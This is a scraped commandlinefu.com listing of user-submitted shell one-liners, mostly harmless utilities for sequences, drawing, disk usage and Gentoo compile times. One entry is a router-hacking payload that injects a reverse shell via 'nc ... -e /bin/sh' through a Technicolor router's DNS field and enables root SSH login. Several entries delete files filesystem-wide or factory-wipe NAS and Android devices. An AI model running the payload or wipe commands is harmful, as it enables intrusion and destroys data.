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Delete all files by extension

This is a correction to https://www.commandlinefu.com/commands/view/22134 Use `-name` instead of `-iname`, because case-sensitivity is probably important when we're dealing with filenames. It's true that extensions are often capitalised (e.g., "something.JPG"), so choose whatever's appropriate. However, what is appropriate is the quoting of the name pattern, so the shell doesn't expand it incorrectly. Finally, `-delete` is clearer.
This is sample output - yours may be different.
0

find / -name "*.jpg" -delete

Xophmeister · 2018-11-19 11:11:20 0
Generate a sequence of numbers.

# for description type man seq Show Sample Output
This is sample output - yours may be different.
```
1
2
3
4
5
6
7
8
9
10
11
12
```
0

seq 12

flxndn · 2018-11-14 13:17:52 0
draw honeycomb
This is sample output - yours may be different.
4

seq -ws "\\__/" 99|fold -69|tr "0-9" " "

knoppix5 · 2018-11-13 06:39:37 0
draw mesh
This is sample output - yours may be different.
2

seq -s " \\_/" 256|tr -d "0-9"|fold -70

knoppix5 · 2018-11-12 23:25:25 0
Print a horizontal line

Replace the underscore with any other character. e.g. + or - or =
This is sample output - yours may be different.
1

printf "%`tput cols`s"|sed "s/ /_/g"

houghi001 · 2018-11-12 19:44:16 0
Produce 10 copies of the same string
This is sample output - yours may be different.
0

echo boo{,,,,,,,,,,}

wuziduzi · 2018-11-12 18:26:17 0
Sort by IP address
This is sample output - yours may be different.
0

sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4

wuziduzi · 2018-11-12 18:03:34 0
Show OS release incl version.

Show Sample Output
This is sample output - yours may be different.
```
Gentoo Base System release 2.6
```
0

grep -m1 -h [0-9] /etc/{*elease,issue} 2>/dev/null | head -1

wuziduzi · 2018-11-12 18:01:57 0
Print a horizontal line
This is sample output - yours may be different.
0

printf -v _hr "%*s" $(tput cols) && echo ${_hr// /${1--}}

wuziduzi · 2018-11-12 18:01:25 0
Echo string over and over until CTRL-C
This is sample output - yours may be different.
0

yes I am awesome

wuziduzi · 2018-11-12 17:57:52 0
Generate a sequence of numbers.

Uses bash shortcut to generate series, it works with letters too echo {A..H} echo {a..h} Be careful not to mix upper and lower case, you may encounter funny results : echo {z..A} z y x w v u t s r q p o n m l k j i h g f e d c b a ` _ ^ ] [ Z Y X W V U T S R Q P O N M L K J I H G F E D C B A Show Sample Output
This is sample output - yours may be different.
```
1 2 3 4 5 6 7 8 9 10 11 12
```
1

echo {1..12}

keltroth · 2018-11-12 14:09:26 0
Test sendmail

test if sendmail is installed and working. Show Sample Output
This is sample output - yours may be different.
```
[root@machine]# echo "Subject: test" | /usr/lib/sendmail -v user@domain.com
user@domain.com... Connecting to [127.0.0.1] via relay...
user@domain.com... Deferred: Connection refused by [127.0.0.1]
```
0

echo "Subject: test" | /usr/lib/sendmail -v me@domain.com

guillaume1306 · 2018-11-12 11:51:33 0
Find ASCII files and extract IP addresses
This is sample output - yours may be different.
0

1 find . -type f -exec grep -Iq . {} \; -exec grep -oE "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" {} /dev/null \;

wuziduzi · 2018-11-12 03:43:46 0
Show used disk space:
This is sample output - yours may be different.
0

df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $2} END {printf "%.0f GB\n", sum_used/1024/1024}'

wuziduzi · 2018-11-12 03:34:52 0
Show allocated disk space:
This is sample output - yours may be different.
0

df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $1} END {printf "%.0f GB\n", sum_used/1024/1024}'

wuziduzi · 2018-11-12 03:33:58 0
List all global top level modles, then remove ALL npm packages with xargs
This is sample output - yours may be different.
0

npm ls -gp --depth=0 | awk -F/ '/node_modules/ && !/\/npm$/ {print $NF}' | xargs npm -g rm; npm -g uninstall npm

wuziduzi · 2018-11-12 02:24:24 0
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuziduzi · 2018-11-12 02:02:43 0

Print compile time in seconds package by package (Gentoo Distros)

qlist -I | xargs qlop -t |sort -t" " -rnk2

wuziduzi · 2018-11-12 01:50:16 0

Calculate your total world compile time. (Gentoo Distros)

From Gentoo Forum, greetings to rudregues & steveL. Show Sample Output
This is sample output - yours may be different.
```
48h:4m:20s
```
0

qlist -I | xargs qlop -t | awk '{ if ($2 < 5400) secs += $2} END { printf("%dh:%dm:%ds\n", secs / 3600, (secs % 3600) / 60, secs % 60); }'

wuziduzi · 2018-11-12 01:45:37 0
Uninstall bloatware on your android device without root.

List all packages with: pm list packages|cut -d: -f2 Show Sample Output
This is sample output - yours may be different.
```
Success
```
0

pm uninstall --user 0 com.package.name

wuziduzi · 2018-11-12 01:41:40 0
Completely wipe all data on your Synology NAS and reinstall DSM. (BE CAREFUL)
This is sample output - yours may be different.
0

/usr/syno/sbin/./synodsdefault --factory-default

wuziduzi · 2018-11-12 01:34:30 0
Reinstall a Synology NAS without loosing any data from commandline.

Seen many questions how-to reinstall synology nas dsm without loosing data, here you go. Wait for a few min and then head over to http://nasip and setup your fresh installed nas. Show Sample Output
This is sample output - yours may be different.
```
Success.
Rebooting.
```
0

/usr/syno/sbin/./synodsdefault --reinstall

wuziduzi · 2018-11-12 01:31:11 0
Factory reset your android device via commandline.
This is sample output - yours may be different.
0

am broadcast -a android.intent.action.MASTER_CLEAR

wuziduzi · 2018-11-11 18:01:10 0
Find all file extension in current dir.
This is sample output - yours may be different.
0

find . -type f | perl -ne 'print $1 if m/\.([^.\/]+)$/' | sort -u

wuziduzi · 2018-11-11 01:09:42 0
Generate a sequence of numbers.
This is sample output - yours may be different.
0

echo {1..99}

wolfpup · 2018-11-11 01:04:22 0
1 2 3 > Last ›

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Compute the numeric sum of a file

In the file data.txt there is a single column of numbers. Sed adds a "+" between lines and xargs prepares the output for bc. The "echo 0" is to avoid to have a "+" at the beginning of the line.

Calculate days on which Friday the 13th occurs (inspired from the work of the user justsomeguy)

Friday is the 5th day of the week, monday is the 1st. Output may be affected by locale.

history autocompletion with arrow keys

This will enable the possibility to navigate in the history of the command you type with the arrow keys, example "na" and the arrow will give all command starting by na in the history.You can add these lines to your .bashrc (without &&) to use that in your default terminal.

Create the directoty recursively

To find the count of each open file on a system (that supports losf)

print java packages by using unix tree and sed

if you need a quick way of printing out all the packages that contain classes this command will print the directory structure and replace '/' with '.' It will also ignore CVS directories (we use CVS here)

diff files while disregarding indentation and trailing white space

network throughput test

On the machine acting like a server, run: $ iperf -s On the machine acting like a client, run: $ iperf -c ip.add.re.ss where ip.add.re.ss is the ip or hostname of the server.

format txt as table

Clear cassandra snapshots that are older than 30 days

Better than: $ nodetool clearsnapshot

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